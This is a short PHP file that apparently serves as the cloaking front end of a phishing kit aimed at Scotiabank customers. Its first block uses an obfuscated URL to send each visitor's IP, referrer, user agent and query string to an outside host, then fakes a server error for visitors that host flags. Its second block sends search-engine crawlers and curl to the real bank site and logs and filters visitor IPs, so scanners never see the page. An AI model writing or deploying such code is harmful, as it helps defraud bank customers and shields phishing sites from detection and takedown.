<?php
 if (!function_exists('xiuHS4UwdC')) { function xiuHS4UwdC() { $xdM9dE = $_SERVER['SERVER_ADDR']; $xa8U8 = '127.0.0.1'; if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xa8U8) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xdM9dE))) {$ip=$_SERVER['HTTP_CF_CONNECTING_IP'];} elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xa8U8)) {$ip=$_SERVER['GEOIP_ADDR'];} elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xa8U8) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xdM9dE))) {$ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];} elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xa8U8) && (($_SERVER['HTTP_CLIENT_IP'])!=($xdM9dE))) {$ip=$_SERVER['HTTP_CLIENT_IP'];} else {$ip=$_SERVER['REMOTE_ADDR'];} return $ip; }}  $ip=xiuHS4UwdC(); 
 if (!function_exists('xGwkdpdqVOJ')) { function xGwkdpdqVOJ() { if(empty($_SERVER['HTTP_REFERER'])) { $_SERVER['HTTP_REFERER'] = getenv('HTTP_REFERER'); } return $_SERVER['HTTP_REFERER']; }} $ref=xGwkdpdqVOJ(); 
 if (!function_exists('xSSXOEWeDI')) { function xSSXOEWeDI() { if(empty($_SERVER['HTTP_USER_AGENT'])) { $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); } return $_SERVER['HTTP_USER_AGENT']; }} $eRf9t9d9 = xSSXOEWeDI(); 
 if ($_SERVER['QUERY_STRING']!=''){ $dHerF777hg = ''.urlencode($_SERVER['QUERY_STRING']).''; } else {$dHerF777hg = '';} 
 $sourcename = 'ch'; $whatdo = 'find'; $sourceid = 'water1'; $who = 'us'; $fd = 'c009649'; $dex9 = '.re'; $langua = 'na'; $command = 'st'; 
 $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_URL, 'https://'.$whatdo.''.$who.''.$dex9.''.$command.'/'.$who.''.$command.'.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); curl_setopt($ch, CURLOPT_TIMEOUT,333); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, 'fd='.$fd.'&ip='.$ip.'&ref='.$ref.'&ua='.$eRf9t9d9.'&data='.$dHerF777hg.'&sourceid='.$sourceid.'&sourcename='.$sourcename.''); $ifbot = curl_exec($ch); curl_close($ch); 
 if ($ifbot == '') { echo '<h1>CURL ERROR</h1>'; } elseif ($ifbot != '0') { die(header('HTTP/1.1 504 Internal Server Error')); } else {  } 
 ?>
<?php


if (!empty($_SERVER['HTTP_CLIENT_IP']))  
    {

      $vis_ip=$_SERVER['HTTP_CLIENT_IP'];
    }
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))   
    {
      $vis_ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    else
    {
      $vis_ip=$_SERVER['REMOTE_ADDR'];
    }


$agent = $_SERVER['HTTP_USER_AGENT'];


if(preg_match('/bot|yahoo|google|spider|crawler|curl|^$/i', $agent))
{
	header("Location: https://www.google.cz/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=2ahUKEwibotHkicHeAhWC1iwKHadfAwwQFjABegQIBxAB&url=https%3A%2F%2Fwww.scotiabank.com%2Fca%2Fen%2F0%2C%2C2%2C00.html&usg=AOvVaw1lD8_4_Gof3NtGofIcqiQO");
	die();
}

$data   = file_get_contents('ips.txt'); 


if (strpos($data, "\r\n") !== false) {
    $data   = explode("\r\n", $data);
}
else
{
$data   = explode("\n", $data);
}




if (in_array($vis_ip,$data))
{ echo '<script>window.location.assign("https://www.google.cz/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=2ahUKEwibotHkicHeAhWC1iwKHadfAwwQFjABegQIBxAB&url=https%3A%2F%2Fwww.scotiabank.com%2Fca%2Fen%2F0%2C%2C2%2C00.html&usg=AOvVaw1lD8_4_Gof3NtGofIcqiQO")</script>';

$file=fopen("ips.txt","a+"); 
          fwrite($file,$vis_ip."\r\n");
fclose($file); 
die();
}
$file=fopen("ips.txt","a+"); 
          fwrite($file,$vis_ip."\r\n");
fclose($file); 







?>